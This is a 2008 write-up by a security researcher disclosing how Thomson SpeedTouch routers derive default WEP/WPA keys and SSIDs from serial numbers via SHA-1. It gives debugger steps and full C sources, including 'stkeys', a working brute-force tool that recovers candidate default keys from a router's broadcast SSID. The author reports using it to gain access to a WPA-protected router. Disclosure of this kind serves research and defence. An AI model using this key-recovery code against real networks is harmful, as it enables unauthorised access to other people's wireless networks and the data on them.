[ Default WEP/WPA key algorithm for Thomson routers ]
*************************************************
Author: Kevin Devine <wyse101 0x40 gmail.com>
WWW: http://weiss.u40.hosting.digiweb.ie/
Date: April 2008
[ Tools
Hardware used
* SpeedTouch 585v6 Wireless Router
* SpeedTouch 123 G USB adapter
Software used
* stInstall.exe 1.2.6.1 build 064
* IDA Pro 4.3 Freeware
* Windows Debugging Tools
* PEiD with KANAL plugin
The algorithm was found inside the stInstall.exe setup wizard which accompanies
the CD-ROM provided by some ISP's around the world.
The version i obtained is distributed by ORANGE in Spain
I've modified the configuration file to display english instead of spanish.
The software appears to be intended mainly for either a 121-G USB adapter or 110 PCMCIA card,
however its possible to configure other adapters using the 'plugin' interface.
The 123 G adapter worked fine without any plugin.
There is a hidden switch '-guiTest' which if run as a parameter to stInstall will
display roughly 24 windows related to configuration of a Thomson router.
The -log parameter generates interesting debug information.
The -configKey: parameter also helps understand the format of a serial number.
The -h parameter displays the following.
First thing to do is load the exe into PEiD and see what, if any crypto algorithms
can be detected as this is usually the main method of key generation for routers.
Krypto Analyzer reports a reference to SHA-1 - take note of this value for later.
Load stinstall.exe into IDA Pro.
Allow IDA to complete disassembly. (which can take some time
depending on the version of IDA and how fast your computer is)
Hit 'g' inside the IDA window and type in the reference to SHA-1 from KANAL
I have 00475315 as you can see, hit return and we land somewhere inside
a SHA-1 routine.
Hit Alt+P and you'll see [Name of function] field, copy it, then close the window
with 'Esc' key.
Hit 'g' again and paste in the function name, hit return..
Now you're at the very beginning of the KANAL referenced function.
If you're familiar with SHA-1, you'll know there are 3 main functions
and its these that we should search for.
SHA1Init() - initialize a context
SHA1Update() - update a context with input
SHA1Final() - finalize a context, storing the result in output buffer.
Of course, they will not be named this in IDA Pro, but can be found by
cross-referencing the SHA-1 code we've already found using the 'x' command.
I've determined already that this is the main compression routine which i've
renamed SHA1Transform using the 'n' command.
Although much more could be discussed, such as where input is
validated - We have enough information to perform debugging and analyze
input to this function.
Start WinDbg or whatever debugger you're comfortable working with.
This version of IDA has built-in debugger, but i believe WinDbg is more suitable
for the task.
Assuming you've already installed any necessary USB/PCMCIA drivers, insert the wireless
adapter you have before debugging the wizard.
Open the stinstall.exe file with windbg [File->Open Executable]
After windbg initializes, hit F5 to run.
Depending on the configuration file and the plugins available to the wizard, you may or
may not get the following window.Click Yes.
Just to note, the following is configuration used here, taken from the default
file stinstall.config on the CD-ROM. (alot of stuff stripped out)
The following is a list of plugins that were available, also from the CD-ROM:
Using the above configuration & plugins, a window is displayed
requesting input of the serial number from the base of the router.
At this point, interrupt the debugger using Ctrl+Break
Set breakpoint on the SHA1Transform routine with 'bp 00473D9E'
Hit F5 to resume execution, type in the serial number, in my case [CP0615JT109] [53]
Just as the last digit is entered, WinDbg breaks at the entry point of SHA1Transform.
Investigating the stack can be done using the dump memory commands.
Consult the WinDbg documentation for details of these.
The first value on the stack is the return address of the calling routine,
assumed to be either SHA1Update() or SHA1Final()
The second arguement is the SHA-1 context, initialized with the 5 default 32-bit values.
The third arguement is the actual data input used to update the context and
as you can see consists of the serial number i entered.
Rather than step through each instruction right til the end of the function,
we find the end of the routine with 'uf 00473D9E' and set a breakpoint
on the end address 'bp 00475927'
Tip: 'pt' command (step to next return) does the same thing.
Hit F5 again and our breakpoint stops execution at the end of the function.
Using the same address as before, dump memory of the now updated SHA-1 context.
And lets look at that default wireless pre-shared key..
As you can see, after 1 call to SHA-1 using the formatted serial number,
it generates the default WEP/WPA key based on first 40 bits.
742da831d2 b657fa53d347301ec610e1eb f8a3d0
The last 24-bits of the hash are converted to ascii and appended to the
word SpeedTouch to create the default SSID.
Here is what we know so far..
The format of a serial number:
CP YY WW PP XXX (CC)
And from what i can tell of the following serial number taken from
router i received.
CP 06 15 JT 109 (53)
YY is the year produced. ( 2006 ) ?
WW is the week of year. ( some week of April ) ?
PP is the production code. ( JT ) factory code?
CC is the configuration code? ( 53 ) seems to be 00 - FF (0-9/A-F) (more like checksum byte)
I can only guess that the XXX values represent the unit number
To generate a default WEP/WPA key
Remove the CC and PP values
"CP0615109"
Convert the XXX values to hexadecimal.
"CP0615313039"
Process with SHA-1
742da831d2b657fa53d347301ec610e1ebf8a3d0
The last 3 bytes are converted to 6 byte string, and appended to
the word "SpeedTouch" which becomes the default SSID.
"SpeedTouchF8A3D0"
The first 5 bytes are converted to a 10 byte string which
becomes the default WEP/WPA key.
"742DA831D2"
Thats it..
****************************************************************
[ Recovery
With further analysis of the validation routine, it may be possible
to recover a key based on the MAC.
'stkeys' is a simple program which attempts to find default keys based
on the default SSID octets that appear after the word SpeedTouch.
It works simply by generating serial numbers, hashing with SHA-1 and
comparing last 3 bytes with 3 octets of default SSID supplied to it.
When a match is found, a *potential* key is printed.
To see this in action, below is a short flash demonstration showing access
gained to a SpeedTouch 585v6 with WPA enabled by default. (ensure looping is off)
[ Final Notes
Initially i planned to leave out code or details of the serial number validation
and other key generation routines in order to keep the document short.
I've included some below for reference mainly.
The following snapshots show assembly routines initialize a 256 byte array, used
to validate the serial number.
For readers interest, the following is equivilant in C.
As example, getting config code of "CP0615JT109"
Note: This works as a checksum routine to ensure the user hasn't entered
serial number incorrectly.
gencode 0615JT109
SpeedTouch [C]hecksum [C]ode: ( 53 )
------------------- begin gencode.c
/*
Author: Kevin Devine <wyse101 0x40 gmail.com>
WWW: http://weiss.u40.hosting.digiweb.ie/
Date: April 2008
used to calculate checksum byte of serial number for Thomson router
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned int u32;
typedef unsigned char u8;
u8 numTable[256+1];
void createTable(u8 initVal)
{
u32 i,j;
u8 x,y;
if(numTable[256] != initVal) {
numTable[256] = initVal;
for(i = 0;i < 256;i++) {
x = i;
for(j = 0;j < 8;j++) {
y = (x >> 7);
x <<= 1;
if( y & y )
x ^= numTable[256];
}
numTable[i] = x;
}
}
}
int main(int argc, char **argv)
{
u8 sumCode = 0,*p;
if(--argc && (strlen(argv[1])) == 9) {
createTable(7);
for(p = argv[1];*p = toupper(*p);p++)
sumCode = numTable[ (sumCode ^ *p) ] ^ (sumCode << 8);
fprintf(stdout,"\nSpeedTouch [C]hecksum [C]ode: ( %.2x )\n\n",sumCode);
} else
fprintf(stdout,"\n%s <SERIAL NUMBER>\n\n",argv[0]);
return(0);
}
------------------- end gencode.c
The "other" key generation algorithm using some input and the mysterious string
"ViveLaFrance!"
It generates 26 bytes of output - i have no idea what its used for,(probably WEP key)
my guess is another device using different configuration.
------------------- begin vive.c
/*
Author: Kevin Devine <wyse101 0x40 gmail.com>
WWW: http://weiss.u40.hosting.digiweb.ie/
Date: April 2008
example input: CP0615JT109
this is 1 other key generation algorithm
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned int u32;
typedef unsigned char u8;
u8 secret[]="ViveLaFrance!\0";
int main(int argc, char **argv)
{
u8 key[26+1];
u8 serialNumber[8]={0};
u8 *out = key;
u8 x,y;
u32 i;
if( argc == 2 && strlen(argv[1]) == 11) {
serialNumber[0] = argv[1][4];
serialNumber[1] = argv[1][5];
serialNumber[2] = argv[1][8];
serialNumber[3] = argv[1][9];
serialNumber[4] = argv[1][10];
fprintf(stdout,"\nProcessing %s\n",serialNumber);
for(i = 0;i < 13;i++) {
x = (secret[i] ^ serialNumber[i % 5]);
y = (x & 0x0f);
x = (x & 0xf0) >> 4;
*out++ = (x >= 10) ? (x + '7') : (x + '0');
*out++ = (y >= 10) ? (y + '7') : (y + '0');
}
fprintf(stdout,"Key = %s\n\n",key);
} else fprintf(stdout,"\nUsage:%s <SERIAL NUMBER>\n\n",argv[0]);
}
------------------- end vive.c
There is one other, which generates a SHA-1 hash based on the serial number,
or some input..but the actual SHA-1 context is set to zero.
26 bytes of the generated hash are returned as string..its in same location
as ViveLaFrance! function.
its probably a wep key algorithm for some older SpeedTouch models. *shrug*
------------------- begin other.c
/*
Author: Kevin Devine <wyse101 0x40 gmail.com>
WWW: http://weiss.u40.hosting.digiweb.ie/
Date: April 2008
example input: CP0615JT109
it wasn't possible to debug the binary and see what input was
requested, so i can't say what input it requests for certain.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#ifdef linux
#include <openssl/sha.h>
#define SHA1_Final(x,y) SHA1_Final(y,x)
#else
#include "sha1.h"
#define SHA1_Init SHA1Reset
#define SHA1_Update SHA1Input
#define SHA1_Final SHA1Result
#define SHA_CTX SHA1Context
#endif
typedef unsigned int u32;
typedef unsigned char u8;
int main(int argc, char **argv)
{
u8 key[32]={0};
SHA_CTX sha1_ctx;
u8 sha1_digest[32];
u32 i;
if( argc == 2 && strlen(argv[1]) == 11 ) {
SHA1_Init(&sha1_ctx);
/* set the context to zero */
((u32*)&sha1_ctx)[0] = 0;
((u32*)&sha1_ctx)[1] = 0;
((u32*)&sha1_ctx)[2] = 0;
((u32*)&sha1_ctx)[3] = 0;
((u32*)&sha1_ctx)[4] = 0;
SHA1_Update(&sha1_ctx,argv[1],strlen(argv[1]));
SHA1_Final(&sha1_ctx,sha1_digest);
/* format 26 bytes */
for(i = 0;i < 13;i++)
sprintf(&key[i*2],"%.2X",sha1_digest[i]);
fprintf(stdout,"\nKey = %s\n\n",key);
} else fprintf(stdout,"\nUsage:%s <SERIAL NUMBER>\n\n",argv[0]);
}
------------------- end other.c
[ More debugging
As said previously with the number of calls to SHA1Transform multiple times, you can watch
this in realtime using the following 2 WinDbg statements.
bp 00473d9e ".echo SHA-1 Context:;dd /c 5 poi(esp+4) L5;.echo SHA-1 Input:;db /c 16 poi(esp+8) L16;g"
bp 00475927 ".echo SHA-1 Result:;dd /c 5 poi(esp+4) L5;g"
The following is output of my own serial number entered:
SHA-1 Context:
0012f630 67452301 efcdab89 98badcfe 10325476 c3d2e1f0
SHA-1 Input:
0012f64c 43 50 30 36 31 35 33 31-33 30 33 39 80 00 00 00 00 00 00 00 00 00 CP0615313039..........
SHA-1 Result:
0012f630 742da831 d2b657fa 53d34730 1ec610e1 ebf8a3d0
SHA-1 Context:
0012f630 00000000 00000000 00000000 00000000 00000000
SHA-1 Input:
0012f64c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 00 00 00 00 00 00 ......................
SHA-1 Result:
0012f630 9e1547ed 57ec91c2 30fa8bc8 c7785a54 a7efa5e3
other data omitted...
No idea why its called anymore than once with same values..
Didn't investigate it close enough.
[ code
all C source code in document
optimized version in C
binary + source of optimized version
---------------------------------------------------- begin stkeys.c
/*
**************************************************************************
* *
* Default WEP/WPA key generation for Thomson series wireless routers *
* *
* Date: March 15th 2008 *
* Author: Kevin Devine <wyse101@gmail.com> *
* WWW: http://weiss.u40.hosting.digiweb.ie/ *
* *
**************************************************************************
AFAIK, this is a well known problem by some ISP.
It is likely to affect any owner of a Thomson wireless router with
default settings installed.
To compile using gcc:
gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys
If on Linux, replace the sha1.c parameter with: -l crypto
Example usage for ST585v6 router:
SSID: "SpeedTouchF8A3D0":
c:\stkeys -v -iF8A3D0
Serial Number: CP0615**109 - potential key = 742DA831D2 <- this is the right one
Serial Number: CP0621**AHJ - potential key = 00651124D9
Found 2 potential keys.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <getopt.h>
#ifdef linux
#include <openssl/sha.h>
#define SHA1Final(x,y) SHA1_Final(y,x)
#else
#include "sha1.h"
#define SHA1Init SHA1Reset
#define SHA1Update SHA1Input
#define SHA1Final SHA1Result
#define SHA_CTX SHA1Context
#endif
typedef unsigned char u8;
typedef unsigned int u32;
const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const u8 hexTable[]="0123456789ABCDEF";
u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
#define SERIAL_LENGTH 12
#define MAX_SSID_OCTETS 6
#define DEFAULT_KEY_SIZE 5
#define hexmsb(x)(hexTable[((x & 0xf0) >> 4)])
#define hexlsb(x)(hexTable[ (x & 0x0f)])
void usage(char **argv) {
fprintf(stdout,"\n\tUsage: %s [ -i <ssid octets> ] [ -o <output file> ]\n"
"\n\t -i : SSID octets from Thomson router"
"\n\t -o : Specifies output file for potential keys"
"\n\t -v : Print key to stdout when potential key found\n\n",*argv);
exit(0);
}
/*
* convert hexadecimal ssid string to binary
* return 0 on error or binary length of string
*
*/
u32 str2ssid(u8 ssid[],u8 *str) {
u8 *p,*q = ssid;
u32 len = strlen(str);
if( (len % 2) || (len > MAX_SSID_OCTETS) )
return(0);
for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0;) {
if(--len % 2) {
*q = ((u8*)strchr(hexTable,*p++) - hexTable);
*q <<= 4;
} else {
*q++ |= ((u8*)strchr(hexTable,*p++) - hexTable);
}
}
return( (len) ? 0 : (p - str) / 2);
}
/*
* print 5 bytes to output file
*
*/
void dump_key(FILE *out, u8 *key) {
u32 i;
u8 *p = key;
for(i = 0;i < DEFAULT_KEY_SIZE;i++)
fprintf(out,"%.2X",*p++);
fprintf(out,"\n");
}
int main(int argc, char **argv) {
u8 sha1_digest[40]={0};
u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3;
u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0;
u8 *strId = NULL;
FILE *ofile = NULL;
SHA_CTX sha1_ctx;
if(argc > 1) {
while( (opt = getopt(argc, argv,"vo:i:")) != -1) {
switch(opt) {
case 'i' :
strId = optarg;
break;
case 'o' :
if((ofile = fopen(optarg,"wb")) == NULL) {
fprintf(stderr,"\nCannot open %s for output.\n",optarg);
return(0);
}
break;
case 'v' :
verbose++;
break;
default:
usage(argv);
}
}
if(!strId) usage(argv);
if(!(ssidLen = str2ssid(ssid,strId))) usage(argv);
fprintf(stdout,"\nGenerating keys..please wait\n\n");
// generate values only for 2005/2006..change if you want.
for(year = 5;year <= 6;year++) {
serial[3] = year | '0';
// 52 weeks of the year
for(week = 1;week <= 52;week++) {
serial[4] = (week / 10) + '0';
serial[5] = (week % 10) + '0';
for(x1 = 0;x1 < 36;x1++) {
serial[6] = hexmsb(charTable[x1]);
serial[7] = hexlsb(charTable[x1]);
for(x2 = 0;x2 < 36;x2++) {
serial[8] = hexmsb(charTable[x2]);
serial[9] = hexlsb(charTable[x2]);
for(x3 = 0;x3 < 36;x3++) {
serial[10] = hexmsb(charTable[x3]);
serial[11] = hexlsb(charTable[x3]);
// hash serial number with sha-1
SHA1Init(&sha1_ctx);
SHA1Update(&sha1_ctx,serial,SERIAL_LENGTH);
SHA1Final(&sha1_ctx,sha1_digest);
// compare SSID octets with last number of bytes supplied
if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) {
keys++;
if(verbose) {
memcpy(buf,serial,6);
fprintf(stdout,
"Serial Number: %s**%C%C%C - potential key = ",
buf,charTable[x1],charTable[x2],charTable[x3]);
dump_key(stdout,sha1_digest);
}
if(ofile) {
dump_key(ofile,sha1_digest);
}
}
}
}
}
}
}
fprintf(stdout,"\nFound %d potential keys.\n",keys);
if(ofile) fclose(ofile);
}
else {
usage(argv);
}
return(0);
}
---------------------------------------------------- end stkeys.c
[ Credits
People who helped with this..
'hrodgar' and 'pazienzia' for providing SpeedTouch router and CD-ROM
aswell as other valuable information.
Renzo and 'bonebags' for the usb adapter.
GNUCitizen for feedback,advice and support!
[ Links
"Default WEP key algorithm for Netopia routers"
For any Spanish readers, you can find discussion about Thomson routers in the following
forums:
Foro seguridadwireless.net
Foro elhacker.net